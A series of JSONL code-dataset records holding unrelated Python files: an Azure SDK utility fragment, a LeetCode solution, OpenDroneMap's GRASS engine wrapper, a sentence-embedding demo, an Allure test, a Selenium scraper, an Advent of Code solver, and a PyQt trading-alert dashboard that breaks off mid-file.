successes, {error_lines} failures)\"\n )\n return successful_lines, error_lines\n","repo_name":"Azure/azure-sdk-for-python","sub_path":"sdk/ai/azure-ai-generative/azure/ai/generative/synthetic/simulator/_model_tools/jsonl_utils.py","file_name":"jsonl_utils.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","stars":3916,"dataset":"github-code","pt":"54"} +{"seq_id":"33178445191","text":"class Solution:\n def simplifyPath(self, path: str) -> str:\n result = list()\n\n for name in path.split('/'):\n if name == '..':\n if result: result.pop()\n elif name not in ('', '.'): result.append(name)\n\n return '/' + '/'.join(result)","repo_name":"lemon-lime-honey/leetcode","sub_path":"0071-simplify-path/0071-simplify-path.py","file_name":"0071-simplify-path.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43143690137","text":"import shutil\nimport tempfile\nimport subprocess\nimport os\nimport sys\nimport time\nfrom opendm import log\nfrom opendm import system\nimport locale\n\nfrom string import Template\n\nclass GrassEngine:\n def __init__(self):\n self.grass_binary = system.which('grass7') or \\\n system.which('grass72') or \\\n system.which('grass74') or \\\n system.which('grass76') or \\\n shutil.which('grass78') or \\\n shutil.which('grass80')\n\n if self.grass_binary is None:\n log.ODM_WARNING(\"Could not find a GRASS 7 executable. GRASS scripts will not work.\")\n else:\n log.ODM_INFO(\"Initializing GRASS engine using {}\".format(self.grass_binary))\n\n def create_context(self, serialized_context = {}):\n if self.grass_binary is None: raise GrassEngineException(\"GRASS engine is unavailable\")\n return GrassContext(self.grass_binary, **serialized_context)\n\n\nclass GrassContext:\n def __init__(self, grass_binary, tmpdir = None, template_args = {}, location = None, auto_cleanup=True):\n self.grass_binary = grass_binary\n if tmpdir is None:\n tmpdir = tempfile.mkdtemp('_grass_engine')\n self.tmpdir = tmpdir\n self.template_args = template_args\n self.location = location\n self.auto_cleanup = auto_cleanup\n\n def get_cwd(self):\n return self.tmpdir\n\n def add_file(self, filename, source, use_as_location=False):\n param = os.path.splitext(filename)[0] # filename without extension\n\n dst_path = os.path.abspath(os.path.join(self.get_cwd(), filename))\n with open(dst_path, 'w') as f:\n f.write(source)\n self.template_args[param] = dst_path\n\n if use_as_location:\n self.set_location(self.template_args[param])\n\n return dst_path\n\n def add_param(self, param, value):\n self.template_args[param] = value\n\n def set_location(self, location):\n \"\"\"\n :param location: either a \"epsg:XXXXX\" string or a path to a geospatial file defining the location\n \"\"\"\n if not location.lower().startswith('epsg:'):\n location = os.path.abspath(location)\n self.location = location\n\n def execute(self, script):\n \"\"\"\n :param script: path to .grass script\n :return: script output\n \"\"\"\n if self.location is None: raise GrassEngineException(\"Location is not set\")\n\n script = os.path.abspath(script)\n\n # Create grass script via template substitution\n try:\n with open(script) as f:\n script_content = f.read()\n except FileNotFoundError:\n raise GrassEngineException(\"Script does not exist: {}\".format(script))\n\n tmpl = Template(script_content)\n\n # Write script to disk\n if not os.path.exists(self.get_cwd()):\n os.mkdir(self.get_cwd())\n\n with open(os.path.join(self.get_cwd(), 'script.sh'), 'w') as f:\n f.write(tmpl.substitute(self.template_args))\n\n # Execute it\n log.ODM_INFO(\"Executing grass script from {}: {} --tmp-location {} --exec bash script.sh\".format(self.get_cwd(), self.grass_binary, self.location))\n env = os.environ.copy()\n env[\"GRASS_ADDON_PATH\"] = env.get(\"GRASS_ADDON_PATH\", \"\") + os.path.abspath(os.path.join(\"opendm/grass/addons\"))\n env[\"LC_ALL\"] = \"C.UTF-8\"\n\n filename = os.path.join(self.get_cwd(), 'output.log')\n with open(filename, 'wb') as writer, open(filename, 'rb', 1) as reader:\n p = subprocess.Popen([self.grass_binary, '--tmp-location', self.location, '--exec', 'bash', 'script.sh'],\n cwd=self.get_cwd(), stdout=subprocess.PIPE, stderr=writer, env=env)\n \n while p.poll() is None:\n sys.stdout.write(reader.read().decode('utf8'))\n time.sleep(0.5)\n \n # Read the remaining\n sys.stdout.write(reader.read().decode('utf8'))\n\n out, err = p.communicate()\n out = out.decode('utf-8').strip()\n\n if p.returncode == 0:\n return out\n else:\n raise GrassEngineException(\"Could not execute GRASS script {} from {}: {}\".format(script, self.get_cwd(), err))\n\n def serialize(self):\n return {\n 'tmpdir': self.tmpdir,\n 'template_args': self.template_args,\n 'location': self.location,\n 'auto_cleanup': self.auto_cleanup\n }\n\n def cleanup(self):\n if os.path.exists(self.get_cwd()):\n shutil.rmtree(self.get_cwd())\n\n def __del__(self):\n if self.auto_cleanup:\n self.cleanup()\n\nclass GrassEngineException(Exception):\n pass\n\ndef cleanup_grass_context(serialized_context):\n ctx = grass.create_context(serialized_context)\n ctx.cleanup()\n\ngrass = GrassEngine()","repo_name":"zanmange/ODM","sub_path":"opendm/grass_engine.py","file_name":"grass_engine.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"23666441160","text":"from absl import logging\n\nimport tensorflow.compat.v1 as tf\n\ntf.disable_v2_behavior()\n\nimport tensorflow_hub as hub\nimport sentencepiece as spm\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pandas as pd\nimport re\nimport seaborn as sns\nimport time\nimport functools\n\n\nmodule = hub.Module(\"https://tfhub.dev/google/universal-sentence-encoder-lite/2\")\n\n\ndef time_eval(func):\n @functools.wraps(func)\n def wrapped(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n return result\n return wrapped\n\n\ninput_placeholder = tf.sparse_placeholder(tf.int64, shape=[None, None])\nencodings = module(\n inputs=dict(\n values=input_placeholder.values,\n indices=input_placeholder.indices,\n dense_shape=input_placeholder.dense_shape))\n\nwith tf.Session() as sess:\n spm_path = sess.run(module(signature=\"spm_path\"))\n\nsp = spm.SentencePieceProcessor()\nwith tf.io.gfile.GFile(spm_path, mode=\"rb\") as f:\n sp.LoadFromSerializedProto(f.read())\nprint(\"SentencePiece model loaded at {}.\".format(spm_path))\n\n\ndef process_to_IDs_in_sparse_format(sp, sentences):\n # An utility method that processes sentences with the sentence piece processor\n # 'sp' and returns the results in tf.SparseTensor-similar format:\n # (values, indices, dense_shape)\n\n ids = [sp.EncodeAsIds(x) for x in sentences]\n max_len = max(len(x) for x in ids)\n dense_shape = (len(ids), max_len)\n values = [item for sublist in ids for item in sublist]\n indices = [[row, col] for row in range(len(ids)) for col in range(len(ids[row]))]\n\n return (values, indices, dense_shape)\n\n\ndef plot_similarity(labels, labels_to_check, features, features_to_check, rotation):\n corr = np.inner(features, features_to_check)\n sns.set(font_scale=0.8)\n f, ax = plt.subplots(figsize=(16, 12))\n g = sns.heatmap(\n corr,\n xticklabels=labels_to_check,\n yticklabels=labels,\n vmin=0,\n vmax=1,\n ax=ax,\n cmap=\"YlOrRd\")\n g.set_xticklabels(labels_to_check, rotation=rotation)\n g.set_title(\"Semantic Textual Similarity\")\n\n\ndef run_and_plot(session, input_placeholder, messages, to_check):\n values, indices, dense_shape = process_to_IDs_in_sparse_format(sp, messages)\n values_to_check, indices_to_check, dense_shape_to_check = process_to_IDs_in_sparse_format(sp, to_check)\n\n message_embeddings = session.run(\n encodings,\n feed_dict={input_placeholder.values: values,\n input_placeholder.indices: indices,\n input_placeholder.dense_shape: dense_shape})\n message_to_check = session.run(\n encodings,\n feed_dict={input_placeholder.values: values_to_check,\n input_placeholder.indices: indices_to_check,\n input_placeholder.dense_shape: dense_shape_to_check})\n\n plot_similarity(messages, to_check, message_embeddings, message_to_check, 90)\n\n\nmessages = [\n # Smartphones\n \"I like my phone\",\n \"My phone is not good.\",\n \"Your cellphone looks great.\",\n\n # Weather\n \"Will it snow tomorrow?\",\n \"Recently a lot of hurricanes have hit the US\",\n \"Global warming is real\",\n\n # Food and health\n \"An apple a day, keeps the doctors away\",\n \"Eating strawberries is healthy\",\n \"Is paleo better than keto?\",\n\n # Asking about age\n \"How old are you?\",\n 'Whats your age again?'\n]\n\ntest = [\n 'Whats your age again?',\n]\n\"\"\" \"The path of the righteous man is beset on all sides\",\n \"By the inequities of the selfish and the tyranny of evil men\",\n \"Blessed is he who, in the name of charity and good will\",\n \"Shepherds the weak through the valley of darkness\",\n \"For he is truly his brother's keeper and the finder of lost children\",\n \"And I will strike down upon thee\",\n \"With great vengeance and furious anger\",\n \"Those who attempt to poison and destroy my brothers\",\n \"And you will know my name is the Lord\",\n \"When I lay my vengeance upon thee\",\"\"\"\n\n# with tf.Session() as session:\n# session.run(tf.global_variables_initializer())\n# session.run(tf.tables_initializer())\n# run_and_plot(session, input_placeholder, messages, test)\n# plt.show()\n\n\n# ------------------------------ Cosine similarities -------------------------------------------------------------\nimport math\nsts_input1 = tf.sparse_placeholder(tf.int64, shape=(None, None))\nsts_input2 = tf.sparse_placeholder(tf.int64, shape=(None, None))\n\n# For evaluation we use exactly normalized rather than\n# approximately normalized.\nsts_encode1 = tf.nn.l2_normalize(\n module(\n inputs=dict(values=sts_input1.values,\n indices=sts_input1.indices,\n dense_shape=sts_input1.dense_shape)),\n axis=1)\nsts_encode2 = tf.nn.l2_normalize(\n module(\n inputs=dict(values=sts_input2.values,\n indices=sts_input2.indices,\n dense_shape=sts_input2.dense_shape)),\n axis=1)\ncosine_similarities = tf.reduce_sum(tf.multiply(sts_encode1, sts_encode2), axis=1)\nclip_cosine_similarities = tf.clip_by_value(cosine_similarities, -1.0, 1.0)\nsim_scores = 1.0 - tf.acos(clip_cosine_similarities) / math.pi\n\nvalues, indices, dense_shape = process_to_IDs_in_sparse_format(sp, messages)\nvalues_to_check, indices_to_check, dense_shape_to_check = process_to_IDs_in_sparse_format(sp, test)\n\n\n@time_eval\ndef run_sts_benchmark(session):\n \"\"\"Returns the similarity scores\"\"\"\n scores = session.run(\n sim_scores,\n feed_dict={\n sts_input1.values: values,\n sts_input1.indices: indices,\n sts_input1.dense_shape: dense_shape,\n sts_input2.values: values_to_check,\n sts_input2.indices: indices_to_check,\n sts_input2.dense_shape: dense_shape_to_check,\n })\n return scores\n\n\ndef get_similar():\n with tf.Session() as session:\n session.run(tf.global_variables_initializer())\n session.run(tf.tables_initializer())\n scores = run_sts_benchmark(session)\n\n return [v for i, v in enumerate(messages) if scores[i] >= 0.90]\n","repo_name":"lolegoogle1/Universal_encoding_Use","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39660158960","text":"import pytest\nimport allure\n\nclass Test_allure:\n\n @allure.step(title=\"第一步\") # 测试步骤: 第一步\n @allure.severity(allure.severity_level.CRITICAL) # 标注严重级别: 严重的\n def test_all(self):\n allure.attach(\"描述\",\"我是第一步的描述~~~\") # 描述:描述的内容\n assert 1\n\n @allure.issue('http://www.163.com/ll') # 缺陷\n @allure.testcase('http://www.baidu.com') # 链接\n @allure.severity(allure.severity_level.TRIVIAL) # 标注严重级别: 不重要的\n def test_al(self):\n allure.attach(\"描述\",\"我是第一步的描述~~~\") # 描述:描述的内容\n assert 1\n\n\nif __name__ == '__main__':\n pytest.main([\"-s\",\"--alluredir\",\"report\",\"test_001.py\"])","repo_name":"yu8023/Test_Allure","sub_path":"scripts/test_001.py","file_name":"test_001.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25426456987","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nURL_com = 'https://www.amazon.com/Sony-PlayStation-Pro-1TB-Console-4/dp/B07K14XKZH/'\nURL_in = 'https://www.amazon.in/Boat-Rockerz-550-Headphone-Aesthetics/dp/B0856HNLDK/?_encoding=UTF8&pd_rd_w=jXDog&content-id=amzn1.sym.a591f53f-b25f-40ba-9fb6-d144bc8febfb&pf_rd_p=a591f53f-b25f-40ba-9fb6-d144bc8febfb&pf_rd_r=TX24XR3H7E7S7932H0AN&pd_rd_wg=sMBK1&pd_rd_r=ea18f582-b90a-4164-b6d2-3cc7dc4d441b&ref_=pd_gw_ci_mcx_mr_hp_atf_m'\n\ndef amazon():\n chrome_driver_path = \"C:\\development\\chromedriver_win32\\chromedriver.exe\"\n options = webdriver.ChromeOptions()\n options.add_experimental_option('excludeSwitches', ['enable-logging'])\n driver = webdriver.Chrome(options=options)\n # driver = webdriver.Chrome(executable_path=chrome_driver_path) \n\n\n driver.get(URL_in)\n price = driver.find_element(By.CLASS_NAME, 'a-price-whole')\n print(price.text)\n\ndef pyorg():\n URL = 'https://www.python.org/'\n upcoming = {}\n\n chrome_driver_path = \"C:\\development\\chromedriver_win32\\chromedriver.exe\"\n options = webdriver.ChromeOptions()\n options.add_experimental_option('excludeSwitches', ['enable-logging'])\n driver = webdriver.Chrome(options=options)\n\n driver.get(URL)\n time = driver.find_elements(By.CSS_SELECTOR , 'div .event-widget .menu li time' )\n links = driver.find_elements(By.CSS_SELECTOR, 'div .event-widget .menu li a')\n for i in range(len(time)):\n upcoming[i] = {time[i].text : links[i].text}\n print(upcoming)\npyorg()\n","repo_name":"impulsv/100DaysOfCode","sub_path":"day48_selenium/amazon-pyorg.py","file_name":"amazon-pyorg.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43681404929","text":"from enum import Enum\n\n\nclass GameResult(Enum):\n WIN = 1\n LOSS = 2\n DRAW = 3\n\n\ndef main(filename):\n with open(filename) as file:\n score_sum = 0\n\n for line in file:\n score_sum += get_score(*line.rstrip('\\n').split(' '))\n\n print(score_sum)\n\n\ndef get_score(opponent_move, your_move):\n game_result = get_game_result(opponent_move, your_move)\n\n return get_game_result_score(game_result) + get_move_score(your_move)\n\n\ndef get_game_result(opponent_move, your_move):\n if (\n opponent_move == 'A' and your_move == 'X' or\n opponent_move == 'B' and your_move == 'Y' or\n opponent_move == 'C' and your_move == 'Z'\n ):\n return GameResult.DRAW\n\n if (\n opponent_move == 'A' and your_move == 'Y' or\n opponent_move == 'B' and your_move == 'Z' or\n opponent_move == 'C' and your_move == 'X'\n ):\n return GameResult.WIN\n\n return GameResult.LOSS\n\n\ndef get_game_result_score(game_result):\n if game_result == GameResult.DRAW:\n return 3\n\n if game_result == GameResult.WIN:\n return 6\n\n return 0\n\n\ndef get_move_score(move):\n if move == 'X':\n return 1\n\n if move == 'Y':\n return 2\n\n return 3\n\n\nif __name__ == '__main__':\n main('input.txt')\n","repo_name":"RobbeDP/aoc-2022","sub_path":"aoc02/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"17976536957","text":"import simplejson as json\nfrom PyQt5 import QtWidgets, QtCore\nimport pandas as pd\nimport os\nimport logging\nimport datetime\n\nlogging.basicConfig(filename=\"ui_main.log\", level=logging.INFO)\n\nwith open('config.json', 'r',encoding='utf-8') as f:\n config = json.load(f)\n f.close() \n\nclass FiltersWidget(QtWidgets.QWidget):\n def __init__(self, tree_widget_parameters: list):\n \n super(FiltersWidget, self).__init__()\n \n self.setMinimumSize(500, 350)\n\n main_layout = QtWidgets.QGridLayout(self)\n main_layout.setContentsMargins(10, 10, 10, 10)\n main_layout.setSpacing(10)\n\n self.parameters_tree = QtWidgets.QTreeWidget(self)\n self.parameters_tree.setMinimumSize(450, 250)\n main_layout.addWidget(self.parameters_tree, 0, 0)\n\n buttons_widget = QtWidgets.QWidget(self)\n buttons_widget_layout = QtWidgets.QGridLayout(buttons_widget)\n buttons_widget_layout.setContentsMargins(0, 0, 0, 0)\n\n spacer = QtWidgets.QSpacerItem(360, 10)\n buttons_widget_layout.addItem(spacer, 0, 0)\n\n self.save_button = QtWidgets.QPushButton(self)\n self.save_button.setText(\"Save\")\n self.save_button.setMinimumSize(70, 25)\n buttons_widget_layout.addWidget(self.save_button, 0, 1)\n\n self.reset_button = QtWidgets.QPushButton(self)\n self.reset_button.setText(\"Reset\")\n self.reset_button.setMinimumSize(70, 25)\n buttons_widget_layout.addWidget(self.reset_button, 0, 2)\n main_layout.addWidget(buttons_widget, 1, 0)\n\n self.init_interactivities(tree_widget_parameters)\n \n\n\n def init_interactivities(self, tree_widget_parameters:dict):\n\n self.selected_filters = {}\n self.tree_widget_parameters = tree_widget_parameters\n\n self.fill_tree_widget(tree_widget_parameters)\n \n self.setup_connections()\n\n\n def fill_tree_widget(self, data:dict):\n def fill_level(parent, childs_list):\n for child in childs_list:\n tree_widget_item = QtWidgets.QTreeWidgetItem(parent)\n tree_widget_item.setText(0, child)\n if child!='side' and child!='no_trade' and child!='processing_result' and child!=\"endpoint\":\n tree_widget_item.setFlags(tree_widget_item.flags() | QtCore.Qt.ItemIsUserCheckable)\n tree_widget_item.setCheckState(0, QtCore.Qt.Unchecked)\n \n if type(childs_list[child]) == dict:\n fill_level(tree_widget_item, childs_list[child])\n if type(childs_list[child]) == list:\n for element in childs_list[child]:\n element_tree_widget_item = QtWidgets.QTreeWidgetItem(tree_widget_item)\n if element != \"side\" and element != \"no_trade\" and element!=\"processing_result\" and element!=\"endpoint\": \n element_tree_widget_item.setFlags(element_tree_widget_item.flags() | QtCore.Qt.ItemIsUserCheckable)\n element_tree_widget_item.setCheckState(0, QtCore.Qt.Unchecked)\n element_tree_widget_item.setText(0, element)\n\n fill_level(self.parameters_tree, data)\n\n\n def handler(self, element, column):\n\n parent = element.parent()\n if parent == None:\n parameter_name = \"bot_id\"\n else:\n parameter_name = str(parent.text(0))\n parameter_value = str(element.text(0))\n\n if parameter_name == \"bot_id\":\n parameter_name = \"Bot_ID\"\n if parameter_name == \"incoming\":\n parameter_name = \"Incoming\"\n if parameter_name == \"processing_result\":\n parameter_name = \"Processing_Result\"\n if parameter_name == \"side\":\n parameter_name = \"Incoming\"\n if parameter_name == \"no_trade\":\n parameter_name = \"Incoming\"\n if parameter_name == \"endpoint\":\n parameter_name = \"Endpoint\"\n\n if parameter_name not in self.selected_filters:\n self.selected_filters[parameter_name]=[]\n self.selected_filters[parameter_name].append(parameter_value)\n return None\n\n if parameter_name in self.selected_filters:\n\n if parameter_value in self.selected_filters[parameter_name]:\n self.selected_filters[parameter_name].remove(parameter_value)\n if len(self.selected_filters[parameter_name]) == 0:\n self.selected_filters.pop(parameter_name)\n return None\n \n if parameter_value not in self.selected_filters[parameter_name]:\n self.selected_filters[parameter_name].append(parameter_value)\n return None\n \n\n def apply(self):\n result = \"\"\n\n for parameter_name in self.selected_filters:\n if parameter_name == \"bot_id\":\n parameter_name = \"Bot_ID\"\n if parameter_name == \"incoming\":\n parameter_name = \"Incoming\"\n if parameter_name == \"processing_result\":\n parameter_name = \"Processing_Result\"\n if parameter_name == \"side\":\n parameter_name = \"Incoming\"\n if parameter_name == \"no_trade\":\n parameter_name = \"Incoming\"\n if parameter_name == \"endpoint\":\n parameter_name = \"Endpoint\"\n \n current_parameter_values = \"\"\n for parameter_value in self.selected_filters[parameter_name]: \n if len(current_parameter_values) == 0: \n current_value = \"{}=='{}'\".format(parameter_name.replace(\" \", \"\"), parameter_value)\n else:\n current_value = \"or {}=='{}'\".format(parameter_name.replace(\" \", \"\"), parameter_value)\n current_parameter_values += current_value\n\n\n if len(result) == 0:\n result = \"{}\".format(current_parameter_values)\n else:\n result += \"and {}\".format(current_parameter_values)\n\n return result\n \n def setup_connections(self):\n self.parameters_tree.itemChanged.connect(self.handler)\n\nclass TableModel(QtCore.QAbstractTableModel):\n\n def __init__(self, data):\n super(TableModel, self).__init__()\n self._data = data\n \n def data(self, index, role):\n if role == QtCore.Qt.ItemDataRole.DisplayRole:\n value = self._data.iloc[index.row(), index.column()]\n return str(value)\n\n def rowCount(self, index):\n return self._data.shape[0]\n\n def columnCount(self, index):\n return self._data.shape[1]\n\n def headerData(self, section, orientation, role):\n if role == QtCore.Qt.ItemDataRole.DisplayRole:\n if orientation == QtCore.Qt.Orientation.Horizontal:\n return str(self._data.columns[section])\n\n if orientation == QtCore.Qt.Orientation.Vertical:\n return str(self._data.index[section])\n\n def setData(self, data):\n self._data = data\n self.layoutChanged.emit()\n\nclass DashboardTableWidget(QtWidgets.QTableView):\n def __init__(self) -> None:\n\n super(DashboardTableWidget, self).__init__()\n \n columns = [\"Date/Time\", \"Bot_ID\", \"Incoming\", \"Processing_Result\", \"Message\", \"Endpoint\"]\n data = pd.DataFrame(columns=columns)\n self.current_filters = \"\"\n\n self.model = TableModel(data)\n self.filter_proxy_model = QtCore.QSortFilterProxyModel()\n self.filter_proxy_model.setSourceModel(self.model)\n self.filter_proxy_model.setFilterKeyColumn(0)\n \n self.setModel(self.filter_proxy_model)\n \n self.verticalHeader().setVisible(False)\n self.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch)\n #self.horizontalHeader().setSectionsMovable(True)\n \n self.current_table_data = None\n self.fill_table(limit=5)\n\n def row_count(self, parent=None) -> int:\n return len(self._data.values)\n\n def column_count(self, parent=None) -> int:\n return self._data.columns.size\n\n def fill_table(self, limit:int) -> None:\n\n with open('data.json', 'r',encoding='utf-8') as f:\n data = json.load(f)\n f.close()\n\n shaped_data = []\n limit_counter = 0\n for bot_id in data:\n if limit_counter == limit:\n break\n data[bot_id].reverse()\n for parameters_group in data[bot_id]:\n if limit_counter == limit:\n break\n\n message = \"\"\n date_time = \"\"\n endpoint = \"\"\n if \"endpoint\" in parameters_group:\n endpoint = parameters_group[\"endpoint\"]\n if \"side\" in parameters_group:\n side = parameters_group[\"side\"]\n if \"date_time\" in parameters_group:\n date_time = parameters_group[\"date_time\"]\n processing_result = parameters_group[\"processing_result\"]\n \n if \"no_trade\" in parameters_group:\n if parameters_group[\"no_trade\"] == \"true\":\n incoming_string = \"no trade\"\n else:\n incoming_string = side\n if \"Keys\" in parameters_group:\n message = parameters_group[\"Keys\"]\n \n \n shaped_data.append([date_time, bot_id, incoming_string, processing_result, message, endpoint])\n limit_counter+=1\n pdata = pd.DataFrame(shaped_data, columns = [\"Date/Time\", \"Bot_ID\", \"Incoming\", \"Processing_Result\", \"Message\", \"Endpoint\"])\n if self.current_filters != \"\":\n pdata = pdata.query(self.current_filters)\n \n pdata = pdata.sort_values(by=\"Date/Time\", ascending=False)\n self.model.setData(pdata)\n self.current_table_data = pdata\n\n self.resizeColumnsToContents()\n self.resizeRowsToContents()\n \n\nclass DataStatWidget(QtWidgets.QWidget):\n def __init__(self):\n\n super(DataStatWidget, self).__init__()\n\n self.setMinimumSize(350, 200)\n self.setMaximumSize(500, 200)\n\n main_layout = QtWidgets.QGridLayout(self)\n main_layout.setContentsMargins(0, 10, 10, 10)\n main_layout.setSpacing(10)\n\n self.cache_size_label = QtWidgets.QLabel(self)\n self.cache_size_label.setText(\"Cache Size\")\n self.cache_size_label.setAlignment(QtCore.Qt.AlignCenter)\n self.cache_size_label.setMinimumSize(90, 25)\n main_layout.addWidget(self.cache_size_label, 0, 0)\n\n self.cache_size_value_label = QtWidgets.QLabel(self)\n self.cache_size_value_label.setAlignment(QtCore.Qt.AlignCenter)\n self.cache_size_value_label.setMinimumSize(80, 25)\n main_layout.addWidget(self.cache_size_value_label, 0, 1)\n\n self.cache_reset_button = QtWidgets.QPushButton(self)\n self.cache_reset_button.setText(\"Reset Cache\")\n self.cache_reset_button.setMinimumSize(150, 25)\n main_layout.addWidget(self.cache_reset_button, 0, 2)\n\n self.logs_size_label = QtWidgets.QLabel(self)\n self.logs_size_label.setText(\"logs Size\")\n self.logs_size_label.setAlignment(QtCore.Qt.AlignCenter)\n self.logs_size_label.setMinimumSize(90, 25)\n main_layout.addWidget(self.logs_size_label, 1, 0)\n\n self.logs_size_value_label = QtWidgets.QLabel(self)\n self.logs_size_value_label.setAlignment(QtCore.Qt.AlignCenter)\n self.logs_size_value_label.setMinimumSize(80, 25)\n main_layout.addWidget(self.logs_size_value_label, 1, 1)\n\n self.logs_reset_button = QtWidgets.QPushButton(self)\n self.logs_reset_button.setText(\"Reset logs\")\n self.logs_reset_button.setMinimumSize(150, 25)\n main_layout.addWidget(self.logs_reset_button, 1, 2)\n\n\n self.records_limit_label = QtWidgets.QLabel(self)\n self.records_limit_label.setAlignment(QtCore.Qt.AlignCenter)\n self.records_limit_label.setText(\"Records Limit\")\n self.records_limit_label.setMinimumSize(80, 25)\n main_layout.addWidget(self.records_limit_label, 2, 0)\n\n self.records_limit_line_edit = QtWidgets.QLineEdit(self)\n self.records_limit_line_edit.setAlignment(QtCore.Qt.AlignCenter)\n self.records_limit_line_edit.setMinimumSize(80, 25)\n main_layout.addWidget(self.records_limit_line_edit, 2, 1)\n\n self.records_limit_save_button = QtWidgets.QPushButton(self)\n self.records_limit_save_button.setText(\"Save Limit\")\n self.records_limit_save_button.setMinimumSize(150, 25)\n main_layout.addWidget(self.records_limit_save_button, 2, 2)\n\n self.setup_connections()\n\n def set_data(self):\n def convert_bytes(num):\n for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:\n if num < 1024.0:\n return \"%3.1f %s\" % (num, x)\n num /= 1024.0\n\n def file_size(file_path):\n \"\"\"\n this function will return the file size\n \"\"\"\n if os.path.isfile(file_path):\n file_info = os.stat(file_path)\n return convert_bytes(file_info.st_size)\n \n cache_size = file_size(\"data.json\")\n logs_size = file_size(\"tradingviewrepeater.log\")\n\n self.cache_size_value_label.setText(cache_size)\n self.logs_size_value_label.setText(logs_size)\n\n def setup_connections(self):\n def reset_cache():\n with open('data.json', 'w',encoding='utf-8') as f:\n data = {}\n json.dump(data, f)\n f.close()\n self.cache_reset_button.clicked.connect(reset_cache)\n\n def reset_logs():\n if os.path.isfile(\"ui_main.log\"):\n os.remove(\"ui_main.log\")\n if os.path.isfile(\"main.log\"):\n os.remove(\"main.log\")\n self.logs_reset_button.clicked.connect(reset_logs)\n\n self.timer = QtCore.QTimer(self)\n self.timer.timeout.connect(self.set_data)\n self.timer.start(200)\n\n\nclass ConfigSetupWidget(QtWidgets.QWidget):\n def __init__(self, parameters_names):\n\n super(ConfigSetupWidget, self).__init__()\n\n self.setMinimumSize(500, 300)\n self.setMaximumSize(166672, 400)\n\n main_layout = QtWidgets.QGridLayout(self)\n\n self.parameters_list = {}\n row = int\n\n with open('config.json', 'r',encoding='utf-8') as f:\n data = json.load(f)\n f.close()\n\n for i in range(0, len(parameters_names)):\n row = i\n\n parameter_name = parameters_names[i]\n\n parameter_name_label = QtWidgets.QLabel(self)\n parameter_name_label.setText(parameter_name)\n parameter_name_label.setMinimumSize(150, 25)\n main_layout.addWidget(parameter_name_label, i, 0)\n\n parameter_line_edit = QtWidgets.QLineEdit(self)\n parameter_line_edit.setText(data[parameter_name])\n parameter_line_edit.setMinimumSize(120, 25)\n main_layout.addWidget(parameter_line_edit, i, 1)\n\n self.parameters_list[parameter_name] = parameter_line_edit\n\n buttons_widget = QtWidgets.QWidget(self)\n buttons_widget.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n buttons_widget_layout = QtWidgets.QGridLayout(buttons_widget)\n\n spacer = QtWidgets.QSpacerItem(120, 10, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n buttons_widget_layout.addItem(spacer, 0, 0)\n\n self.save_parameters_button = QtWidgets.QPushButton(buttons_widget)\n self.save_parameters_button.setText(\"Save\")\n self.save_parameters_button.setMinimumSize(50, 20)\n buttons_widget_layout.addWidget(self.save_parameters_button, 0, 1)\n\n main_layout.addWidget(buttons_widget, row+1, 1)\n\n def save_parameters_to_config(self):\n with open('config.json', 'r',encoding='utf-8') as f:\n data = json.load(f)\n f.close()\n\n for parameter_name in self.parameters_list:\n parameter_value = self.parameters_list[parameter_name].text()\n if parameter_value != \"\":\n data[parameter_name]=parameter_value\n\n with open('config.json', 'w',encoding='utf-8') as f:\n json.dump(data, f)\n f.close()\n \nclass MenuBar(QtWidgets.QMenuBar):\n def __init__(self):\n\n super(MenuBar, self).__init__()\n\n self.setMinimumSize(QtCore.QSize(750, 30))\n\n self.setup_config_action = QtWidgets.QAction(self)\n self.setup_config_action.setText(\"Setup Config\")\n self.addAction(self.setup_config_action)\n\n self.app_data_action = QtWidgets.QAction(self)\n self.app_data_action.setText(\"App Data\")\n self.addAction(self.app_data_action)\n\n\nclass UiMainWindow(QtWidgets.QMainWindow):\n def __init__(self):\n\n super(UiMainWindow, self).__init__()\n\n self.resize(1400, 800)\n self.setWindowTitle(\"Repeater Dashboard\")\n\n self.menu_bar = MenuBar()\n self.setMenuBar(self.menu_bar)\n\n central_widget = QtWidgets.QWidget(self)\n central_widget.setObjectName(\"CentralWidget\")\n self.setCentralWidget(central_widget)\n\n central_widget_layout = QtWidgets.QGridLayout(central_widget)\n central_widget_layout.setContentsMargins(10, 10, 10, 5)\n central_widget_layout.setSpacing(10)\n\n\n all_filters_widget = QtWidgets.QWidget(self)\n all_filters_layout = QtWidgets.QGridLayout(all_filters_widget)\n all_filters_layout.setContentsMargins(0, 0, 0, 0)\n all_filters_layout.setSpacing(10)\n\n self.filters_button = QtWidgets.QPushButton(all_filters_widget)\n self.filters_button.setMinimumSize(100, 20)\n self.filters_button.setMinimumSize(100, 20)\n self.filters_button.setText(\"Filters\")\n all_filters_layout.addWidget(self.filters_button, 0, 0)\n\n self.search_line = QtWidgets.QLineEdit(all_filters_widget)\n self.search_line.setMinimumSize(160, 20)\n all_filters_layout.addWidget(self.search_line, 0, 1)\n\n search_line_spacer = QtWidgets.QSpacerItem(100, 10, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)\n all_filters_layout.addItem(search_line_spacer, 0, 2)\n\n self.server_state_label = 